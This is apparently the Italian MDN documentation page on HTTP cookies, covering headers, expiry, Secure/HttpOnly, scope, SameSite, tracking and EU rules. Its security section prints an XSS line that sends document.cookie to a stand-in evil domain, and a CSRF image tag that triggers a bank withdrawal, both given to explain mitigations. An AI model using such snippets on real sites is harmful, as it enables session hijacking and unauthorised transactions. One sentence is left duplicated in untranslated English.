1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
|
---
title: HTTP cookies
slug: Web/HTTP/Cookies
tags:
- HTTP
- cookie
- httponly
- samesite
- secure
translation_of: Web/HTTP/Cookies
---
<div>{{HTTPSidebar}}</div>
<p class="summary"><span class="seoSummary">Un cookie HTTP (web cookie, cookie del browser) è un piccolo pezzo di dati che il server invia al browser dell'utente. Il browser può memorizzarlo e inviarlo allo stesso server nelle richieste successive. Tipicamente è utilizzato per stabilire se due richieste provengono dallo stesso browser, mantenendo ad esempio un utente loggato. Fornisce quindi informazioni <em>stateful</em> sopra al protocollo</span> <a href="/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a> HTTP.</p>
<p>I cookie sono principalmente usati per tre funzionalità:</p>
<dl>
<dt>Gestione della sessione</dt>
<dd>Login, carrello della spesa, punteggio dei giochi o qualsiasi altra cosa che il server deve ricordare</dd>
<dt>Personalizzazione</dt>
<dd>Preferenze dell'utente, temi e altre impostazioni</dd>
<dt>Tracciamento</dt>
<dd>Registrare e analizzare il comportamento dell'utente</dd>
</dl>
<p>Una volta i cookie venivano utilizzati come storage client-side. Anche se questo era concesso quando i cookie erano l'unico mezzo per salvare dati nel client, al giorno d'oggi è consigliato utilizzare le moderne API di salvataggio. I cookie sono inviati ad ogni richiesta, riducendo quindi le performance (specialmente nel caso di connessioni mobile). Le API di salvataggio moderne sono le cosidette <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> e <code>sessionStorage</code>) e <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
<div class="note">
<p>Per visualizzare i cookie salvati (e altri dati salvati che la pagina web può utilizzare) puoi abilitare lo <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a> nei Developer Tools e selezionare Cookie dall'albero dello storage.</p>
</div>
<h2 id="Creare_i_cookie">Creare i cookie</h2>
<p>Quando una richiesta HTTP viene ricevuta, il server può rispondere con l'header HTTP {{HTTPHeader("Set-Cookie")}}. Il cookie viene solitamente memorizzato dal browser e inviato in ogni successiva richiesta allo stesso server tramite l'header HTTP {{HTTPHeader("Cookie")}}. Una "data di scadenza" o durata può essere specificata, dopo la quale il cookie non viene più inviato. In aggiunta, restrizioni ad uno specifico dominio o percorso possono essere impostate, limitando le richieste nelle quali il cookie viene inviato.</p>
<h3 id="Gli_header_Set-Cookie_e_Cookie">Gli header <code>Set-Cookie</code> e <code>Cookie</code></h3>
<p>L'header di risposta HTTP {{HTTPHeader("Set-Cookie")}} invia i cookie dal server all'utente. Un semplice cookie viene impostato come segue:</p>
<pre class="syntaxbox">Set-Cookie: <cookie-name>=<cookie-value></pre>
<p>Questo header inviato dal server viene uilizzato per salvare un cookie nel client.</p>
<div class="note"><strong>Nota:</strong> Come usare l'header <code>Set-Cookie</code> in varie applicazioni server-side:
<ul>
<li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
<li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
<li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
<li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
</ul>
</div>
<pre>HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]</pre>
<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Ora, in ogni nuova richiesta al server, il browser invierà indietro, utilizzando l'header {{HTTPHeader("Cookie")}}, tutti i cookie precedentemente ricevuti dal server.</p>
<pre>GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
<h3 id="Cookie_di_sessione">Cookie di sessione</h3>
<p>Il cookie creato sopra è un <em>cookie di sessione</em>: è cancellato quando il client termina, perchè non è stata specificata nessuna direttiva <code>Expires</code> o <code>Max-Age</code>. Tuttavia il browser potrebbe usare il recupero di sessione e rendere il cookie di sessione permanente, come se il client non si disconnettesse.</p>
<h3 id="Cookie_permanenti">Cookie permanenti</h3>
<p>Invece di scadere quando il client termina, i <em>cookie permanenti </em> scadono in un periodo specifico (<code>Expires</code>) o dopo uno specifico intervallo di tempo (<code>Max-Age</code>).</p>
<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
<div class="note">
<p><strong>Nota</strong>: Quando viene impostata una data di scadenza, l'ora e la data impostate sono relative al client su cui è impostato il cookie, non al server.</p>
</div>
<h3 id="Cookie_Secure_e_HttpOnly">Cookie <code>Secure</code> e <code>HttpOnly</code></h3>
<p>Un cookie sicuro viene inviato al server solo con una richiesta cifrata con il protocollo HTTPS. Anche con la direttiva <code>Secure</code>, informazioni sensibili non dovrebbero <em>mai </em>essere memorizzate nei cookie, siccome sono intrinsecamente non sicuri e questo flag non offre una protezione robusta. sensitive information should <em>never</em> be stored in cookies, as they are inherently insecure and this flag can't offer real protection. A partire da Chrome 52 e Firefox 52, siti non sicuri (<code>http:</code>) non possono impostare cookie con la direttiva <code>Secure</code>.</p>
<p>Per evitare attacchi di tipo cross-site scripting ({{Glossary("XSS")}}), i cookie impostati con la direttiva <code>HttpOnly</code> sono inaccessibili all'API {{domxref("Document.cookie")}} di JavaScript; vengono solamente inviati al server. Ad esempio, i cookie di sessione non hanno necessità di essere acceduti da JavaScript e dovrebbero per questo essere impostati con il flag <code>HttpOnly</code>.</p>
<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
<h3 id="Scope_dei_cookie">Scope dei cookie</h3>
<p>Le direttive <code>Domain</code> e <code>Path</code> definiscono lo scope del cookie: a quale URL il cookie dovrebbe essere inviato.</p>
<p><code>Domain</code> specifica i domini consentiti a ricevere il cookie. Se non specificato, il valore di default corrisponde alla posizione corrente del documento, <strong>esclusi i sottodomini</strong>. Se <code>Domain</code> è specificato, i sottodomini sono sempre inclusi.</p>
<p>Ad esempio, se viene impostato <code>Domain=mozilla.org</code> , il cookie viene incluso in tutti i sottodomini come <code>developer.mozilla.org</code>.</p>
<p><code>Path</code> indica un percorso URL che deve esistere nell'URL richiesto al fine di inviare il cookie tramite l'header <code>Cookie</code>. Il carattere %x2F ("/") è considerato un separatore di directory e anche le sottodirectory avranno un match.</p>
<p>Ad esempio, se viene impostato <code>Path=/docs</code>, questi pattern avranno una corrispondenza:</p>
<ul>
<li><code>/docs</code></li>
<li><code>/docs/Web/</code></li>
<li><code>/docs/Web/HTTP</code></li>
</ul>
<h3 id="Cookie_SameSite_experimental_inline">Cookie <code>SameSite</code> {{experimental_inline}}</h3>
<p>I cookie <code>SameSite</code> richiedono ad un browser che il cookie non venga inviato attraverso una richiesta cross-site, che può proteggere da attacchi di tipo cross-site request forgery ({{Glossary("CSRF")}}). I cookie <code>SameSite</code> sono ancora in fase di sperimentazione e non ancora supportati da tutti i browser.</p>
<h3 id="JavaScript_access_using_Document.cookie">JavaScript access using <code>Document.cookie</code></h3>
<p>I nuovi cookie possono anche essere creati tramite JavaScript usando la proprietà {{domxref ("Document.cookie")}}, e se il flag HttpOnly non è impostato, i cookie esistenti sono accessibili anche da JavaScript.</p>
<pre class="brush: js">document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
<p>Per favore considera i problemi di sicurezza mostrati nella sezione <a href="/en-US/docs/Web/HTTP/Cookies#Security">Security</a> qua sotto. I cookie disponibili al JavaScript possono essere rubati attraverso {{Glossary ("XSS")}}.</p>
<h2 id="Sicurezza">Sicurezza</h2>
<div class="note">
<p>Le informazioni riservate o sensibili non dovrebbero mai essere archiviate o trasmesse tramite i cookie HTTP, poiché l'intero meccanismo è intrinsecamente insicuro.</p>
</div>
<h3 id="Furto_di_sessione_e_XSS">Furto di sessione e XSS</h3>
<p>I cookie vengono spesso utilizzati nelle applicazioni web per identificare un utente e la relativa sessione autenticata, pertanto il furto di un cookie può comportare il "dirottamento" della sessione dell'utente autenticato. I metodi più comuni per rubare i cookie includono l'ingegneria sociale o l'utilizzo di una vulnerabilità {{Glossary ("XSS")}} nell'applicazione.</p>
<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
<p>L'attributo <code>HttpOnly</code> dei cookie può aiutare a mitigare questo attacco prevenendo l'accesso al cookie attraverso il JavaScript.</p>
<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3>
<p><a href="https://it.wikipedia.org/wiki/Cookie#Cross-site_request_forgery">Wikipedia</a> menziona un buon esempio per {{Glossary("CSRF")}}. In questa situazione, qualcuno include un'immagine che non è veramente un'immagine (per esempio in una chat o forum non filtrato), ma che in realtà è una richiesta di prelievo di contante al server della banca:</p>
<pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre>
<p>Ora, se l'utente ha effettuato l'accesso al conto bancario e i cookie sono validi (e non ci sono altre convalide), il trasferimento di denaro avverrà non appena il codice HTML che contiene questa immagine verrà interpretato. Esistono alcune tecniche utilizzate per impedire che ciò accada:</p>
<ul>
<li>Come per {{Glossary("XSS")}}, filtrare l'input è importante.</li>
<li>Ci dovrebbe sempre essere una richiesta di conferma per qualsiasi azione sensibile.</li>
<li>I cookie che sono utilizzati per azioni sensibili dovrebbero avere durata ridotta.</li>
<li>Per altri suggerimenti, visitare <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li>
</ul>
<h2 id="Tracciamento_e_privacy">Tracciamento e privacy</h2>
<h3 id="Cookie_di_terze_parti">Cookie di terze parti</h3>
<p>I cookie hanno un dominio ad essi associato. Se questo dominio è uguale al dominio della pagina in cui ci si trova, si dice che i cookie siano cookie <em>first-party</em>. Se il dominio è diverso, si dice che sia un cookie di terze parti. Mentre i cookie proprietari (<em>first-party)</em> vengono inviati solo al server che li imposta, una pagina web può contenere immagini o altri componenti memorizzati su server in altri domini (come i banner pubblicitari). I cookie inviati tramite questi componenti di terze parti sono denominati cookie di terze parti e vengono principalmente utilizzati per la pubblicità e il monitoraggio sul web. Vedi ad esempio i <a href="https://www.google.com/policies/technologies/types/">tipi di cookie utilizzati da Google</a>. La maggior parte dei browser consente l'utlizzo dei cookie di terze parti di default, ma sono disponibili componenti aggiuntivi per bloccarli (ad esempio, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> di <a href="https://www.eff.org/">EFF</a>).</p>
<p>Se non stai divulgando informazioni riguardanti i cookie di terze parti, la fiducia dei consumatori potrebbe essere danneggiata se ne viene scoperto l'utilizzo. Una chiara informativa (come in una politica sulla privacy) tende ad eliminare qualsiasi effetto negativo. Alcuni paesi hanno anche una legislazione sui cookie. Vedi ad esempio la <a href="https://wikimediafoundation.org/wiki/Cookie_statement">dichiarazione sui cookie</a> di Wikimedia Foundation.</p>
<h3 id="Do-Not-Track">Do-Not-Track</h3>
<p>Sebbene non ci siano requisiti legali o tecnologici per il suo utilizzo, l'header HTTP {{HTTPHeader ("DNT")}} può essere utilizzato per segnalare che un'applicazione web deve disabilitare sia il suo tracciamento che il tracciamento cross-site del singolo utente. Vedi l'header {{HTTPHeader ("DNT")}} per maggiori informazioni.</p>
<h3 id="Direttiva_UE_riguardante_i_cookie">Direttiva UE riguardante i cookie</h3>
<p>I requisiti per i cookie in tutta l'UE sono definiti nella direttiva 2009/136/EC del Parlamento europeo e sono entrate in vigore il 25 Maggio 2011. Una direttiva non è una legge di per sé, ma un requisito per gli stati membri dell'UE di mettere in atto leggi che soddisfino i requisiti della direttiva. Le leggi effettive possono differire da paese a paese.</p>
<p>In breve la direttiva UE dice che prima che qualcuno possa memorizzare o recuperare qualsiasi informazione da un computer, dispositivo mobile o altro dispositivo, l'utente deve dare esplicito consenso al farlo. Molti siti web hanno aggiunto banner (Cookie banner) per informare gli utenti riguardo l'utilizzo dei cookie.</p>
<p>Per altro, leggi <a href="https://it.wikipedia.org/wiki/Cookie#La_nuova_legislazione_europea:_il_GDPR">questa sezione di Wikipedia </a>e consulta le leggi locali per le ultime e più accurate informazioni.</p>
<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3>
<p>Un approccio più radicale ai cookie sono i cookie zombie e gli evercookie, che vengono ricreati appena cancellati e sono volutamente difficili da cancellare. Sfruttano le <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects e altre tecniche per ricreare se stessi quando l'assanza del cookie viene rilevata.</p>
<ul>
<li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
<li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
</ul>
<h2 id="Vedi_anche">Vedi anche</h2>
<ul>
<li>{{HTTPHeader("Set-Cookie")}}</li>
<li>{{HTTPHeader("Cookie")}}</li>
<li>{{domxref("Document.cookie")}}</li>
<li>{{domxref("Navigator.cookieEnabled")}}</li>
<li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
<li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
<li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li>
<li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li>
<li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
</ul>
|